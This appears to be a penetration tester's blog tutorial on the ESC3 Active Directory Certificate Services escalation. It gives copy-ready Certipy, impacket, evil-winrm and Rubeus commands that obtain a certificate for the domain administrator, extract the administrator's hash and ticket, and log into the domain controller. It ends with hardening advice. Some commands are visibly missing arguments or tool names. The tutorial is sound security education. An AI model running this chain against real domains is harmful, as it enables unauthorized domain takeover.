Active Directory Certificate Services (ADCS – ESC3)

ADCS Part IIIIntroduction

In PART 2 of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated ESC2, one of the escalation techniques. This post will walk you through ESC3, another escalation technique involving misconfigured Certificate Request Agent EKU known as “Enrollment Agent.” This technique allows a principal to enroll for a certificate on behalf of another user (domain admin).

Prerequisites – ESC3 Attack

The ESC3 is a type of post-exploitation attack that can be only performed once we either gain a foothold on the internal network or use a white box penetration testing approach, in other words, if the client provides valid low-privilege credentials. Here are the requirements:

  • Valid credential – (pcoulson)
  • Vulnerable Certificate Template – ESC3
  • Certipy
  • BloodHound
  • impacket Tools
  • evil-winrm
  • PKINITtools

ESC3 – Attack

To find a vulnerable template we can use Certipy below command:

certipy find -dc-ip -u pcoulson -p 'P4ssw0rd123456@'

Certipy generates outputs in JSON and TXT file formats. These files are named “_Certipy” and can be found in the current folder.

The 20240518232429_Certipy.txt file contains the vulnerable templates. However, we must identify it manually by opening the file with a regular text editor or using cat along with the grep command.

Additionally, Certipy runs BloodHound collectors that produce a zip file with the same naming convention. These BloodHound results can be imported into your BloodHound database to visualize potential domain privilege escalation paths.

  • Certipy generates BloodHound data that can be ingested into the BloodHound, v5.8.1, which can be found here: BloodHound.
  • Note: To import certipy data on the new Bloodhound v5.8.1, utilize bloodhound-python/latest SharpHound, and after collecting the data, proceed to upload it into Bloodhound v5.8.1.
  • We must specify the -old bloodhound flag to use the old version of BloodHound.
  • Note: If you opt for an older version of Bloodhound, you must use the corresponding older SharpHound version. After collecting the data, upload it to Bloodhound.
certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip -old-bloodhound 

certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip -vulnerable -enabled -old-bloodhound

As we can see in the below image, the pcoulson user is a member of the DOMAIN USER group and has enrollment right on the ESC3 template. In other words, it refers to permissions granted to users or groups to enroll for certificates based on that template. When we create a certificate template in ADCS, we can specify who has the right to enroll for certificates using that template.

The certificate ESC3 has a vulnerable configuration due to the following factors:

  • Extended Key Usage: Certificate Request Agent
  • Enabled: True
  • Enrollment Rights are set to SHIELD. LOCAL/Domain Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

The last configuration, referred to as “Requires Manager Approval,” is currently set to FALSE.

ESC3 Attack Walkthrough on Linux

A misconfiguration in the ESC3 certificate template allows users with low privileges to request a certificate from a template that has a Certificate Request Agent set, which can be utilized to enroll in a certificate on behalf of any domain User. In other words, any user with enrollment rights can request a certificate, even for privileged accounts, such as a domain administrator, if the template has Extended Key Usage set to Certificate Request Agent.

The ESC3 template has the following misconfigurations making it vulnerable:

  • Extended Key Usage: Certificate Request Agent
  • Enabled: True
  • Requires Manager Approval: FALSE
  • Enrollment Rights are set to SHIELD. LOCALDomain Users & SHIELD. LOCAL/Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Once we have identified the vulnerable template, our next step is to request an any-purpose certificate for the pcoulson user using the ESC3 template. Since our initial user account, “pcoulson,” is part of the Domain Users group, it can request a certificate using the vulnerable template.
The Certipy arguments required to request a certificate are as follows:

certipy req -ca SHIELD-DC4-CA -dc-ip -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC3 -target DC4.shield.local
certipy req -ca SHIELD-DC4-CA -dc-ip -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx

Once we have obtained the .pfx certificate file, we can request the domain admin TGT Ticket or the administrator Hash to gain access to the domain controller.

certipy auth -pfx administrator.pfx

Gaining Access to DC via Pass-The-Hash Technique

Once we obtain either the administrator hash or the TGT Ticket, we can use different tools to log into the Domain Controller, such as:

  • impacket-smbexec
  • impacket-psexec
  • evil-winrm
  • NetExec
impacket-smbexec administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
evil-winrm -i dc4.shield.local -u Administrator -H c5153b43885058f27715b476e5246a50

Gaining Access to DC using a TGT Ticket

To obtain the administrator TGT ticket, we can use certipy in conjunction with the auth flag.

certipy auth -pfx administrator.pfx

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command, and log in to the DC using impacket-psexec.

export KRB5CCNAME=administrator.ccache

impacket-psexec administrator@dc4.shield.local -k -no-pass

To obtain the administrator TGT ticket, we can use in conjunction with the -cert-pfx flag.

python shield.local/administrator -cert-pfx /root/MARVEL.local/ADCS/administrator.pfx PKINIT-Administartor.ccache

After obtaining the TGT Ticket, we can export the administrator.ccache file using the command below and log in to the DC using impacket-psexec.

export KRB5CCNAME=PKINIT-Administrator.ccache
impacket-psexec administrator@dc4.shield.local -k -no-pass

ESC3 Attack Walkthrough on Windows

# NOTE : You have to have Python3 pre-installed on the windows host if not then u have to install it.npip install certipy-ad  
certipy find -dc-ip -sspi

We MUST use the -sspi option to use Windows Integrated Authentication (SSPI). In other words, we will use the user’s context with which we are logged in. In our case, it was pcoulson.

certipy req -ca SHIELD-DC4-CA -dc-ip -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC3 -target DC4.shield.local

certipy req -ca SHIELD-DC4-CA -dc-ip -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx
certipy auth -pfx administrator.pfx

Now that we have the hashes and the TGT file, we can use them for post-exploitation techniques, such as Past-The-Hash, or use the TGT Ticket (.ccache file) to log in.

set KRB5CCNAME=administrator.ccache

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\ administrator@dc4.shield.local -k -no-pass

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\ shield.local/administrator@dc4.shield.local -k -no-pass

#We can use either a Windows Powershell or CMD if we want to use the hash.

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\ shield.local/administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /nowrap /getcredentials
Rubeus.exe asktgt /domain:shield.local /user:administrator /rc4:C5153B43885058F27715B476E5246A50 /ptt

dir \\dc4.shield.local\c$\

Video Walkthrough


Active Directory Certificate Services (ADCS) is a powerful tool, but its security largely depends on correct configuration. While ADCS itself is not inherently insecure, it is highly vulnerable to misconfigurations, which can create significant risks of unauthorized access and privilege escalation within the domain. These misconfigurations, often unintentional, can undermine security if not adequately addressed.

Organizations must proactively identify and correct ADCS misconfigurations to uphold strong security standards and prevent unauthorized access. Regular penetration tests, conducted at least twice yearly, or adversary emulation assessments, are essential to ensure adequate security measures and configurations are sound.

The risks associated with ADCS often stem from improper configuration, highlighting the need for organizations to understand ADCS and its security implications fully. While we do not claim to have exhaustive knowledge of all ADCS security issues, we are dedicated to providing comprehensive guidance to help you navigate and secure this critical infrastructure.

Here are just a few to begin with:

  • Take stock of your certificate templates and determine whether all enabled templates are currently used. Disable all unnecessary templates.
  • It is recommended that template permissions be restricted as much as possible. Enrollment permissions should only be provided to necessary groups and users.
  • Modify the “Issuance Requirements” to enforce the manual approval of an issued certificate where possible.
  • Disable the “Certificate Request Agent” flag where possible.
  • Remove “Client Authentication” where possible.
  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003

Credits & References


  • Asif Khan

    Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.

Share the Post:

Subscribe To Our Blog